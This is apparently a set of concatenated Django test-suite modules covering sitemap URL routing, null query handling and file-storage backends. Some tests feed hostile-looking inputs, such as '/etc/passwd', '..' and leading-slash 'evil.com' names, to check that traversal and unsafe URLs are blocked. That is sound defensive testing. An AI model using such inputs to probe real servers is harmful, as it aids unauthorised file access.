simple_i18nsitemaps = {
    'simple': SimpleI18nSitemap,
}

empty_sitemaps = {
    'empty': EmptySitemap,
}

fixed_lastmod_sitemaps = {
    'fixed-lastmod': FixedLastmodSitemap,
}

fixed_lastmod__mixed_sitemaps = {
    'fixed-lastmod-mixed': FixedLastmodMixedSitemap,
}

sitemaps_lastmod_mixed_ascending = OrderedDict([
    ('no-lastmod', EmptySitemap),
    ('lastmod', FixedLastmodSitemap),
])

sitemaps_lastmod_mixed_descending = OrderedDict([
    ('lastmod', FixedLastmodSitemap),
    ('no-lastmod', EmptySitemap),
])

sitemaps_lastmod_ascending = OrderedDict([
    ('date', DateSiteMap),
    ('datetime', FixedLastmodSitemap),
    ('datetime-newer', FixedNewerLastmodSitemap),
])

sitemaps_lastmod_descending = OrderedDict([
    ('datetime-newer', FixedNewerLastmodSitemap),
    ('datetime', FixedLastmodSitemap),
    ('date', DateSiteMap),
])

generic_sitemaps = {
    'generic': GenericSitemap({'queryset': TestModel.objects.order_by('pk').all()}),
}


urlpatterns = [
    url(r'^simple/index\.xml$', views.index, {'sitemaps': simple_sitemaps}),
    url(r'^simple/custom-index\.xml$', views.index,
        {'sitemaps': simple_sitemaps, 'template_name': 'custom_sitemap_index.xml'}),
    url(r'^simple/sitemap-(?P<section>.+)\.xml$', views.sitemap,
        {'sitemaps': simple_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^simple/sitemap\.xml$', views.sitemap,
        {'sitemaps': simple_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^simple/i18n\.xml$', views.sitemap,
        {'sitemaps': simple_i18nsitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^simple/custom-sitemap\.xml$', views.sitemap,
        {'sitemaps': simple_sitemaps, 'template_name': 'custom_sitemap.xml'},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^empty/sitemap\.xml$', views.sitemap,
        {'sitemaps': empty_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod/sitemap\.xml$', views.sitemap,
        {'sitemaps': fixed_lastmod_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod-mixed/sitemap\.xml$', views.sitemap,
        {'sitemaps': fixed_lastmod__mixed_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod/date-sitemap\.xml$', views.sitemap,
        {'sitemaps': {'date-sitemap': DateSiteMap}},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod/tz-sitemap\.xml$', views.sitemap,
        {'sitemaps': {'tz-sitemap': TimezoneSiteMap}},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod-sitemaps/mixed-ascending.xml$', views.sitemap,
        {'sitemaps': sitemaps_lastmod_mixed_ascending},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod-sitemaps/mixed-descending.xml$', views.sitemap,
        {'sitemaps': sitemaps_lastmod_mixed_descending},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod-sitemaps/ascending.xml$', views.sitemap,
        {'sitemaps': sitemaps_lastmod_ascending},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^lastmod-sitemaps/descending.xml$', views.sitemap,
        {'sitemaps': sitemaps_lastmod_descending},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^generic/sitemap\.xml$', views.sitemap,
        {'sitemaps': generic_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
    url(r'^cached/index\.xml$', cache_page(1)(views.index),
        {'sitemaps': simple_sitemaps, 'sitemap_url_name': 'cached_sitemap'}),
    url(r'^cached/sitemap-(?P<section>.+)\.xml', cache_page(1)(views.sitemap),
        {'sitemaps': simple_sitemaps}, name='cached_sitemap'),
    url(r'^sitemap-without-entries/sitemap\.xml$', views.sitemap,
        {'sitemaps': {}}, name='django.contrib.sitemaps.views.sitemap'),
]

urlpatterns += i18n_patterns(
    url(r'^i18n/testmodel/(?P<id>\d+)/$', testmodelview, name='i18n_testmodel'),
)






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Poll(models.Model):
    question = models.CharField(max_length=200)

    def __str__(self):
        return "Q: %s " % self.question


@python_2_unicode_compatible
class Choice(models.Model):
    poll = models.ForeignKey(Poll, models.CASCADE)
    choice = models.CharField(max_length=200)

    def __str__(self):
        return "Choice: %s in poll %s" % (self.choice, self.poll)

# A set of models with an inner one pointing to two outer ones.


class OuterA(models.Model):
    pass


class OuterB(models.Model):
    data = models.CharField(max_length=10)


class Inner(models.Model):
    first = models.ForeignKey(OuterA, models.CASCADE)
    # second would clash with the __second lookup.
    third = models.ForeignKey(OuterB, models.SET_NULL, null=True)












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import TestCase

from .models import Choice, Inner, OuterA, OuterB, Poll


class NullQueriesTests(TestCase):

    def test_none_as_null(self):
        """
        Regression test for the use of None as a query value.

        None is interpreted as an SQL NULL, but only in __exact and __iexact
        queries.
        Set up some initial polls and choices
        """
        p1 = Poll(question='Why?')
        p1.save()
        c1 = Choice(poll=p1, choice='Because.')
        c1.save()
        c2 = Choice(poll=p1, choice='Why Not?')
        c2.save()

        # Exact query with value None returns nothing ("is NULL" in sql,
        # but every 'id' field has a value).
        self.assertQuerysetEqual(Choice.objects.filter(choice__exact=None), [])

        # The same behavior for iexact query.
        self.assertQuerysetEqual(Choice.objects.filter(choice__iexact=None), [])

        # Excluding the previous result returns everything.
        self.assertQuerysetEqual(
            Choice.objects.exclude(choice=None).order_by('id'),
            [
                '<Choice: Choice: Because. in poll Q: Why? >',
                '<Choice: Choice: Why Not? in poll Q: Why? >'
            ]
        )

        # Valid query, but fails because foo isn't a keyword
        with self.assertRaises(FieldError):
            Choice.objects.filter(foo__exact=None)

        # Can't use None on anything other than __exact and __iexact
        with self.assertRaises(ValueError):
            Choice.objects.filter(id__gt=None)

        # Related managers use __exact=None implicitly if the object hasn't been saved.
        p2 = Poll(question="How?")
        self.assertEqual(repr(p2.choice_set.all()), '<QuerySet []>')

    def test_reverse_relations(self):
        """
        Querying across reverse relations and then another relation should
        insert outer joins correctly so as not to exclude results.
        """
        obj = OuterA.objects.create()
        self.assertQuerysetEqual(
            OuterA.objects.filter(inner__third=None),
            ['<OuterA: OuterA object>']
        )
        self.assertQuerysetEqual(
            OuterA.objects.filter(inner__third__data=None),
            ['<OuterA: OuterA object>']
        )

        Inner.objects.create(first=obj)
        self.assertQuerysetEqual(
            Inner.objects.filter(first__inner__third=None),
            ['<Inner: Inner object>']
        )

        # Ticket #13815: check if <reverse>_isnull=False does not produce
        # faulty empty lists
        OuterB.objects.create(data="reverse")
        self.assertQuerysetEqual(
            OuterB.objects.filter(inner__isnull=False),
            []
        )
        Inner.objects.create(first=obj)
        self.assertQuerysetEqual(
            OuterB.objects.exclude(inner__isnull=False),
            ['<OuterB: OuterB object>']
        )






"""
Storing files according to a custom storage system

``FileField`` and its variations can take a ``storage`` argument to specify how
and where files should be stored.
"""

import random
import tempfile

from django.core.files.storage import FileSystemStorage
from django.db import models


class CustomValidNameStorage(FileSystemStorage):
    def get_valid_name(self, name):
        # mark the name to show that this was called
        return name + '_valid'


temp_storage_location = tempfile.mkdtemp()
temp_storage = FileSystemStorage(location=temp_storage_location)


class Storage(models.Model):
    def custom_upload_to(self, filename):
        return 'foo'

    def random_upload_to(self, filename):
        # This returns a different result each time,
        # to make sure it only gets called once.
        return '%s/%s' % (random.randint(100, 999), filename)

    normal = models.FileField(storage=temp_storage, upload_to='tests')
    custom = models.FileField(storage=temp_storage, upload_to=custom_upload_to)
    random = models.FileField(storage=temp_storage, upload_to=random_upload_to)
    custom_valid_name = models.FileField(
        storage=CustomValidNameStorage(location=temp_storage_location),
        upload_to=random_upload_to,
    )
    default = models.FileField(storage=temp_storage, upload_to='tests', default='tests/default.txt')
    empty = models.FileField(storage=temp_storage)
    limited_length = models.FileField(storage=temp_storage, upload_to='tests', max_length=20)
    extended_length = models.FileField(storage=temp_storage, upload_to='tests', max_length=300)






from django.conf.urls import url
from django.http import HttpResponse

urlpatterns = [
    url(r'^$', lambda req: HttpResponse('example view')),
]






import os
import warnings

from django.core.files.base import ContentFile
from django.core.files.storage import Storage
from django.db.models import FileField
from django.test import SimpleTestCase


class AWSS3Storage(Storage):
    """
    Simulate an AWS S3 storage which uses Unix-like paths and allows any
    characters in file names but where there aren't actual folders but just
    keys.
    """
    prefix = 'mys3folder/'

    def _save(self, name, content):
        """
        This method is important to test that Storage.save() doesn't replace
        '\' with '/' (rather FileSystemStorage.save() does).
        """
        return name

    def get_valid_name(self, name):
        return name

    def get_available_name(self, name, max_length=None):
        return name

    def generate_filename(self, filename):
        """
        This is the method that's important to override when using S3 so that
        os.path() isn't called, which would break S3 keys.
        """
        return self.prefix + self.get_valid_name(filename)


class GenerateFilenameStorageTests(SimpleTestCase):

    def test_filefield_get_directory_deprecation(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            f = FileField(upload_to='some/folder/')
            self.assertEqual(f.get_directory_name(), os.path.normpath('some/folder/'))

        self.assertEqual(len(warns), 1)
        self.assertEqual(
            warns[0].message.args[0],
            'FileField now delegates file name and folder processing to the '
            'storage. get_directory_name() will be removed in Django 2.0.'
        )

    def test_filefield_get_filename_deprecation(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            f = FileField(upload_to='some/folder/')
            self.assertEqual(f.get_filename('some/folder/test.txt'), 'test.txt')

        self.assertEqual(len(warns), 1)
        self.assertEqual(
            warns[0].message.args[0],
            'FileField now delegates file name and folder processing to the '
            'storage. get_filename() will be removed in Django 2.0.'
        )

    def test_filefield_generate_filename(self):
        f = FileField(upload_to='some/folder/')
        self.assertEqual(
            f.generate_filename(None, 'test with space.txt'),
            os.path.normpath('some/folder/test_with_space.txt')
        )

    def test_filefield_generate_filename_with_upload_to(self):
        def upload_to(instance, filename):
            return 'some/folder/' + filename

        f = FileField(upload_to=upload_to)
        self.assertEqual(
            f.generate_filename(None, 'test with space.txt'),
            os.path.normpath('some/folder/test_with_space.txt')
        )

    def test_filefield_awss3_storage(self):
        """
        Simulate a FileField with an S3 storage which uses keys rather than
        folders and names. FileField and Storage shouldn't have any os.path()
        calls that break the key.
        """
        storage = AWSS3Storage()
        folder = 'not/a/folder/'

        f = FileField(upload_to=folder, storage=storage)
        key = 'my-file-key\\with odd characters'
        data = ContentFile('test')
        expected_key = AWSS3Storage.prefix + folder + key

        # Simulate call to f.save()
        result_key = f.generate_filename(None, key)
        self.assertEqual(result_key, expected_key)

        result_key = storage.save(result_key, data)
        self.assertEqual(result_key, expected_key)

        # Repeat test with a callable.
        def upload_to(instance, filename):
            # Return a non-normalized path on purpose.
            return folder + filename

        f = FileField(upload_to=upload_to, storage=storage)

        # Simulate call to f.save()
        result_key = f.generate_filename(None, key)
        self.assertEqual(result_key, expected_key)

        result_key = storage.save(result_key, data)
        self.assertEqual(result_key, expected_key)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import errno
import os
import shutil
import sys
import tempfile
import threading
import time
import unittest
from datetime import datetime, timedelta

from django.core.cache import cache
from django.core.exceptions import SuspiciousFileOperation, SuspiciousOperation
from django.core.files.base import ContentFile, File
from django.core.files.storage import FileSystemStorage, get_storage_class
from django.core.files.uploadedfile import (
    InMemoryUploadedFile, SimpleUploadedFile, TemporaryUploadedFile,
)
from django.db.models.fields.files import FileDescriptor
from django.test import (
    LiveServerTestCase, SimpleTestCase, TestCase, ignore_warnings,
    override_settings,
)
from django.test.utils import requires_tz_support
from django.urls import NoReverseMatch, reverse_lazy
from django.utils import six, timezone
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.six.moves.urllib.request import urlopen

from .models import Storage, temp_storage, temp_storage_location

try:
    import pytz
except ImportError:
    pytz = None


FILE_SUFFIX_REGEX = '[A-Za-z0-9]{7}'


class GetStorageClassTests(SimpleTestCase):

    def test_get_filesystem_storage(self):
        """
        get_storage_class returns the class for a storage backend name/path.
        """
        self.assertEqual(
            get_storage_class('django.core.files.storage.FileSystemStorage'),
            FileSystemStorage)

    def test_get_invalid_storage_module(self):
        """
        get_storage_class raises an error if the requested import don't exist.
        """
        with six.assertRaisesRegex(self, ImportError, "No module named '?storage'?"):
            get_storage_class('storage.NonExistingStorage')

    def test_get_nonexisting_storage_class(self):
        """
        get_storage_class raises an error if the requested class don't exist.
        """
        with self.assertRaises(ImportError):
            get_storage_class('django.core.files.storage.NonExistingStorage')

    def test_get_nonexisting_storage_module(self):
        """
        get_storage_class raises an error if the requested module don't exist.
        """
        # Error message may or may not be the fully qualified path.
        with six.assertRaisesRegex(self, ImportError, "No module named '?(django.core.files.)?non_existing_storage'?"):
            get_storage_class('django.core.files.non_existing_storage.NonExistingStorage')


class FileSystemStorageTests(unittest.TestCase):

    def test_deconstruction(self):
        path, args, kwargs = temp_storage.deconstruct()
        self.assertEqual(path, "django.core.files.storage.FileSystemStorage")
        self.assertEqual(args, tuple())
        self.assertEqual(kwargs, {'location': temp_storage_location})

        kwargs_orig = {
            'location': temp_storage_location,
            'base_url': 'http://myfiles.example.com/'
        }
        storage = FileSystemStorage(**kwargs_orig)
        path, args, kwargs = storage.deconstruct()
        self.assertEqual(kwargs, kwargs_orig)

    def test_lazy_base_url_init(self):
        """
        FileSystemStorage.__init__() shouldn't evaluate base_url.
        """
        storage = FileSystemStorage(base_url=reverse_lazy('app:url'))
        with self.assertRaises(NoReverseMatch):
            storage.url(storage.base_url)


# Tests for TZ-aware time methods need pytz.
requires_pytz = unittest.skipIf(pytz is None, "this test requires pytz")


class FileStorageTests(SimpleTestCase):
    storage_class = FileSystemStorage

    def setUp(self):
        self.temp_dir = tempfile.mkdtemp()
        self.storage = self.storage_class(location=self.temp_dir, base_url='/test_media_url/')
        # Set up a second temporary directory which is ensured to have a mixed
        # case name.
        self.temp_dir2 = tempfile.mkdtemp(suffix='aBc')

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.temp_dir2)

    def test_empty_location(self):
        """
        Makes sure an exception is raised if the location is empty
        """
        storage = self.storage_class(location='')
        self.assertEqual(storage.base_location, '')
        self.assertEqual(storage.location, upath(os.getcwd()))

    def test_file_access_options(self):
        """
        Standard file access options are available, and work as expected.
        """
        self.assertFalse(self.storage.exists('storage_test'))
        f = self.storage.open('storage_test', 'w')
        f.write('storage contents')
        f.close()
        self.assertTrue(self.storage.exists('storage_test'))

        f = self.storage.open('storage_test', 'r')
        self.assertEqual(f.read(), 'storage contents')
        f.close()

        self.storage.delete('storage_test')
        self.assertFalse(self.storage.exists('storage_test'))

    def _test_file_time_getter(self, getter):
        # Check for correct behavior under both USE_TZ=True and USE_TZ=False.
        # The tests are similar since they both set up a situation where the
        # system time zone, Django's TIME_ZONE, and UTC are distinct.
        self._test_file_time_getter_tz_handling_on(getter)
        self._test_file_time_getter_tz_handling_off(getter)

    @override_settings(USE_TZ=True, TIME_ZONE='Africa/Algiers')
    def _test_file_time_getter_tz_handling_on(self, getter):
        # Django's TZ (and hence the system TZ) is set to Africa/Algiers which
        # is UTC+1 and has no DST change. We can set the Django TZ to something
        # else so that UTC, Django's TIME_ZONE, and the system timezone are all
        # different.
        now_in_algiers = timezone.make_aware(datetime.now())

        # Use a fixed offset timezone so we don't need pytz.
        with timezone.override(timezone.get_fixed_timezone(-300)):
            # At this point the system TZ is +1 and the Django TZ
            # is -5. The following will be aware in UTC.
            now = timezone.now()
            self.assertFalse(self.storage.exists('test.file.tz.on'))

            f = ContentFile('custom contents')
            f_name = self.storage.save('test.file.tz.on', f)
            self.addCleanup(self.storage.delete, f_name)
            dt = getter(f_name)
            # dt should be aware, in UTC
            self.assertTrue(timezone.is_aware(dt))
            self.assertEqual(now.tzname(), dt.tzname())

            # Check that the three timezones are indeed distinct.
            naive_now = datetime.now()
            algiers_offset = now_in_algiers.tzinfo.utcoffset(naive_now)
            django_offset = timezone.get_current_timezone().utcoffset(naive_now)
            utc_offset = timezone.utc.utcoffset(naive_now)
            self.assertGreater(algiers_offset, utc_offset)
            self.assertLess(django_offset, utc_offset)

            # dt and now should be the same effective time.
            self.assertLess(abs(dt - now), timedelta(seconds=2))

    @override_settings(USE_TZ=False, TIME_ZONE='Africa/Algiers')
    def _test_file_time_getter_tz_handling_off(self, getter):
        # Django's TZ (and hence the system TZ) is set to Africa/Algiers which
        # is UTC+1 and has no DST change. We can set the Django TZ to something
        # else so that UTC, Django's TIME_ZONE, and the system timezone are all
        # different.
        now_in_algiers = timezone.make_aware(datetime.now())

        # Use a fixed offset timezone so we don't need pytz.
        with timezone.override(timezone.get_fixed_timezone(-300)):
            # At this point the system TZ is +1 and the Django TZ
            # is -5.
            self.assertFalse(self.storage.exists('test.file.tz.off'))

            f = ContentFile('custom contents')
            f_name = self.storage.save('test.file.tz.off', f)
            self.addCleanup(self.storage.delete, f_name)
            dt = getter(f_name)
            # dt should be naive, in system (+1) TZ
            self.assertTrue(timezone.is_naive(dt))

            # Check that the three timezones are indeed distinct.
            naive_now = datetime.now()
            algiers_offset = now_in_algiers.tzinfo.utcoffset(naive_now)
            django_offset = timezone.get_current_timezone().utcoffset(naive_now)
            utc_offset = timezone.utc.utcoffset(naive_now)
            self.assertGreater(algiers_offset, utc_offset)
            self.assertLess(django_offset, utc_offset)

            # dt and naive_now should be the same effective time.
            self.assertLess(abs(dt - naive_now), timedelta(seconds=2))
            # If we convert dt to an aware object using the Algiers
            # timezone then it should be the same effective time to
            # now_in_algiers.
            _dt = timezone.make_aware(dt, now_in_algiers.tzinfo)
            self.assertLess(abs(_dt - now_in_algiers), timedelta(seconds=2))

    @requires_pytz
    def test_file_get_accessed_time(self):
        """
        File storage returns a Datetime object for the last accessed time of
        a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        self.addCleanup(self.storage.delete, f_name)
        atime = self.storage.get_accessed_time(f_name)

        self.assertEqual(atime, datetime.fromtimestamp(os.path.getatime(self.storage.path(f_name))))
        self.assertLess(timezone.now() - self.storage.get_accessed_time(f_name), timedelta(seconds=2))

    @requires_pytz
    @requires_tz_support
    def test_file_get_accessed_time_timezone(self):
        self._test_file_time_getter(self.storage.get_accessed_time)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_file_accessed_time(self):
        """
        File storage returns a datetime for the last accessed time of a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        self.addCleanup(self.storage.delete, f_name)
        atime = self.storage.accessed_time(f_name)

        self.assertEqual(atime, datetime.fromtimestamp(os.path.getatime(self.storage.path(f_name))))
        self.assertLess(datetime.now() - self.storage.accessed_time(f_name), timedelta(seconds=2))

    @requires_pytz
    def test_file_get_created_time(self):
        """
        File storage returns a datetime for the creation time of a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        self.addCleanup(self.storage.delete, f_name)
        ctime = self.storage.get_created_time(f_name)

        self.assertEqual(ctime, datetime.fromtimestamp(os.path.getctime(self.storage.path(f_name))))
        self.assertLess(timezone.now() - self.storage.get_created_time(f_name), timedelta(seconds=2))

    @requires_pytz
    @requires_tz_support
    def test_file_get_created_time_timezone(self):
        self._test_file_time_getter(self.storage.get_created_time)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_file_created_time(self):
        """
        File storage returns a datetime for the creation time of a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        ctime = self.storage.created_time(f_name)
        self.addCleanup(self.storage.delete, f_name)

        self.assertEqual(ctime, datetime.fromtimestamp(os.path.getctime(self.storage.path(f_name))))
        self.assertLess(datetime.now() - self.storage.created_time(f_name), timedelta(seconds=2))

    @requires_pytz
    def test_file_get_modified_time(self):
        """
        File storage returns a datetime for the last modified time of a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        self.addCleanup(self.storage.delete, f_name)
        mtime = self.storage.get_modified_time(f_name)

        self.assertEqual(mtime, datetime.fromtimestamp(os.path.getmtime(self.storage.path(f_name))))
        self.assertLess(timezone.now() - self.storage.get_modified_time(f_name), timedelta(seconds=2))

    @requires_pytz
    @requires_tz_support
    def test_file_get_modified_time_timezone(self):
        self._test_file_time_getter(self.storage.get_modified_time)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_file_modified_time(self):
        """
        File storage returns a datetime for the last modified time of a file.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)
        self.addCleanup(self.storage.delete, f_name)
        mtime = self.storage.modified_time(f_name)

        self.assertEqual(mtime, datetime.fromtimestamp(os.path.getmtime(self.storage.path(f_name))))
        self.assertLess(datetime.now() - self.storage.modified_time(f_name), timedelta(seconds=2))

    def test_file_save_without_name(self):
        """
        File storage extracts the filename from the content object if no
        name is given explicitly.
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f.name = 'test.file'

        storage_f_name = self.storage.save(None, f)

        self.assertEqual(storage_f_name, f.name)

        self.assertTrue(os.path.exists(os.path.join(self.temp_dir, f.name)))

        self.storage.delete(storage_f_name)

    def test_file_save_with_path(self):
        """
        Saving a pathname should create intermediate directories as necessary.
        """
        self.assertFalse(self.storage.exists('path/to'))
        self.storage.save('path/to/test.file', ContentFile('file saved with path'))

        self.assertTrue(self.storage.exists('path/to'))
        with self.storage.open('path/to/test.file') as f:
            self.assertEqual(f.read(), b'file saved with path')

        self.assertTrue(os.path.exists(
            os.path.join(self.temp_dir, 'path', 'to', 'test.file')))

        self.storage.delete('path/to/test.file')

    def test_save_doesnt_close(self):
        with TemporaryUploadedFile('test', 'text/plain', 1, 'utf8') as file:
            file.write(b'1')
            file.seek(0)
            self.assertFalse(file.closed)
            self.storage.save('path/to/test.file', file)
            self.assertFalse(file.closed)
            self.assertFalse(file.file.closed)

        file = InMemoryUploadedFile(six.StringIO('1'), '', 'test', 'text/plain', 1, 'utf8')
        with file:
            self.assertFalse(file.closed)
            self.storage.save('path/to/test.file', file)
            self.assertFalse(file.closed)
            self.assertFalse(file.file.closed)

    def test_file_path(self):
        """
        File storage returns the full path of a file
        """
        self.assertFalse(self.storage.exists('test.file'))

        f = ContentFile('custom contents')
        f_name = self.storage.save('test.file', f)

        self.assertEqual(self.storage.path(f_name), os.path.join(self.temp_dir, f_name))

        self.storage.delete(f_name)

    def test_file_url(self):
        """
        File storage returns a url to access a given file from the Web.
        """
        self.assertEqual(self.storage.url('test.file'), self.storage.base_url + 'test.file')

        # should encode special chars except ~!*()'
        # like encodeURIComponent() JavaScript function do
        self.assertEqual(
            self.storage.url(r"~!*()'@#$%^&*abc`+ =.file"),
            "/test_media_url/~!*()'%40%23%24%25%5E%26*abc%60%2B%20%3D.file"
        )
        self.assertEqual(self.storage.url("ab\0c"), "/test_media_url/ab%00c")

        # should translate os path separator(s) to the url path separator
        self.assertEqual(self.storage.url("""a/b\\c.file"""), "/test_media_url/a/b/c.file")

        # #25905: remove leading slashes from file names to prevent unsafe url output
        self.assertEqual(self.storage.url("/evil.com"), "/test_media_url/evil.com")
        self.assertEqual(self.storage.url(r"\evil.com"), "/test_media_url/evil.com")
        self.assertEqual(self.storage.url("///evil.com"), "/test_media_url/evil.com")
        self.assertEqual(self.storage.url(r"\\\evil.com"), "/test_media_url/evil.com")

        self.assertEqual(self.storage.url(None), "/test_media_url/")

    def test_base_url(self):
        """
        File storage returns a url even when its base_url is unset or modified.
        """
        self.storage.base_url = None
        with self.assertRaises(ValueError):
            self.storage.url('test.file')

        # #22717: missing ending slash in base_url should be auto-corrected
        storage = self.storage_class(location=self.temp_dir, base_url='/no_ending_slash')
        self.assertEqual(
            storage.url('test.file'),
            '%s%s' % (storage.base_url, 'test.file')
        )

    def test_listdir(self):
        """
        File storage returns a tuple containing directories and files.
        """
        self.assertFalse(self.storage.exists('storage_test_1'))
        self.assertFalse(self.storage.exists('storage_test_2'))
        self.assertFalse(self.storage.exists('storage_dir_1'))

        self.storage.save('storage_test_1', ContentFile('custom content'))
        self.storage.save('storage_test_2', ContentFile('custom content'))
        os.mkdir(os.path.join(self.temp_dir, 'storage_dir_1'))

        dirs, files = self.storage.listdir('')
        self.assertEqual(set(dirs), {'storage_dir_1'})
        self.assertEqual(set(files), {'storage_test_1', 'storage_test_2'})

        self.storage.delete('storage_test_1')
        self.storage.delete('storage_test_2')
        os.rmdir(os.path.join(self.temp_dir, 'storage_dir_1'))

    def test_file_storage_prevents_directory_traversal(self):
        """
        File storage prevents directory traversal (files can only be accessed if
        they're below the storage location).
        """
        with self.assertRaises(SuspiciousOperation):
            self.storage.exists('..')
        with self.assertRaises(SuspiciousOperation):
            self.storage.exists('/etc/passwd')

    def test_file_storage_preserves_filename_case(self):
        """The storage backend should preserve case of filenames."""
        # Create a storage backend associated with the mixed case name
        # directory.
        other_temp_storage = self.storage_class(location=self.temp_dir2)
        # Ask that storage backend to store a file with a mixed case filename.
        mixed_case = 'CaSe_SeNsItIvE'
        file = other_temp_storage.open(mixed_case, 'w')
        file.write('storage contents')
        file.close()
        self.assertEqual(os.path.join(self.temp_dir2, mixed_case), other_temp_storage.path(mixed_case))
        other_temp_storage.delete(mixed_case)

    def test_makedirs_race_handling(self):
        """
        File storage should be robust against directory creation race conditions.
        """
        real_makedirs = os.makedirs

        # Monkey-patch os.makedirs, to simulate a normal call, a raced call,
        # and an error.
        def fake_makedirs(path):
            if path == os.path.join(self.temp_dir, 'normal'):
                real_makedirs(path)
            elif path == os.path.join(self.temp_dir, 'raced'):
                real_makedirs(path)
                raise OSError(errno.EEXIST, 'simulated EEXIST')
            elif path == os.path.join(self.temp_dir, 'error'):
                raise OSError(errno.EACCES, 'simulated EACCES')
            else:
                self.fail('unexpected argument %r' % path)

        try:
            os.makedirs = fake_makedirs

            self.storage.save('normal/test.file', ContentFile('saved normally'))
            with self.storage.open('normal/test.file') as f:
                self.assertEqual(f.read(), b'saved normally')

            self.storage.save('raced/test.file', ContentFile('saved with race'))
            with self.storage.open('raced/test.file') as f:
                self.assertEqual(f.read(), b'saved with race')

            # Check that OSErrors aside from EEXIST are still raised.
            with self.assertRaises(OSError):
                self.storage.save('error/test.file', ContentFile('not saved'))
        finally:
            os.makedirs = real_makedirs

    def test_remove_race_handling(self):
        """
        File storage should be robust against file removal race conditions.
        """
        real_remove = os.remove

        # Monkey-patch os.remove, to simulate a normal call, a raced call,
        # and an error.
        def fake_remove(path):
            if path == os.path.join(self.temp_dir, 'normal.file'):
                real_remove(path)
            elif path == os.path.join(self.temp_dir, 'raced.file'):
                real_remove(path)
                raise OSError(errno.ENOENT, 'simulated ENOENT')
            elif path == os.path.join(self.temp_dir, 'error.file'):
                raise OSError(errno.EACCES, 'simulated EACCES')
            else:
                self.fail('unexpected argument %r' % path)

        try:
            os.remove = fake_remove

            self.storage.save('normal.file', ContentFile('delete normally'))
            self.storage.delete('normal.file')
            self.assertFalse(self.storage.exists('normal.file'))

            self.storage.save('raced.file', ContentFile('delete with race'))
            self.storage.delete('raced.file')
            self.assertFalse(self.storage.exists('normal.file'))

            # Check that OSErrors aside from ENOENT are still raised.
            self.storage.save('error.file', ContentFile('delete with error'))
            with self.assertRaises(OSError):
                self.storage.delete('error.file')
        finally:
            os.remove = real_remove

    def test_file_chunks_error(self):
        """
        Test behavior when file.chunks() is raising an error
        """
        f1 = ContentFile('chunks fails')

        def failing_chunks():
            raise IOError
        f1.chunks = failing_chunks
        with self.assertRaises(IOError):
            self.storage.save('error.file', f1)

    def test_delete_no_name(self):
        """
        Calling delete with an empty name should not try to remove the base
        storage directory, but fail loudly (#20660).
        """
        with self.assertRaises(AssertionError):
            self.storage.delete('')

    @override_settings(
        MEDIA_ROOT='media_root',
        MEDIA_URL='media_url/',
        FILE_UPLOAD_PERMISSIONS=0o777,
        FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o777,
    )
    def test_setting_changed(self):
        """
        Properties using settings values as defaults should be updated on
        referenced settings change while specified values should be unchanged.
        """
        storage = self.storage_class(
            location='explicit_location',
            base_url='explicit_base_url/',
            file_permissions_mode=0o666,
            directory_permissions_mode=0o666,
        )
        defaults_storage = self.storage_class()
        settings = {
            'MEDIA_ROOT': 'overriden_media_root',
            'MEDIA_URL': 'overriden_media_url/',
            'FILE_UPLOAD_PERMISSIONS': 0o333,
            'FILE_UPLOAD_DIRECTORY_PERMISSIONS': 0o333,
        }
        with self.settings(**settings):
            self.assertEqual(storage.base_location, 'explicit_location')
            self.assertIn('explicit_location', storage.location)
            self.assertEqual(storage.base_url, 'explicit_base_url/')
            self.assertEqual(storage.file_permissions_mode, 0o666)
            self.assertEqual(storage.directory_permissions_mode, 0o666)
            self.assertEqual(defaults_storage.base_location, settings['MEDIA_ROOT'])
            self.assertIn(settings['MEDIA_ROOT'], defaults_storage.location)
            self.assertEqual(defaults_storage.base_url, settings['MEDIA_URL'])
            self.assertEqual(defaults_storage.file_permissions_mode, settings['FILE_UPLOAD_PERMISSIONS'])
            self.assertEqual(
                defaults_storage.directory_permissions_mode, settings['FILE_UPLOAD_DIRECTORY_PERMISSIONS']
            )


class CustomStorage(FileSystemStorage):
    def get_available_name(self, name, max_length=None):
        """
        Append numbers to duplicate files rather than underscores, like Trac.
        """
        parts = name.split('.')
        basename, ext = parts[0], parts[1:]
        number = 2
        while self.exists(name):
            name = '.'.join([basename, str(number)] + ext)
            number += 1

        return name


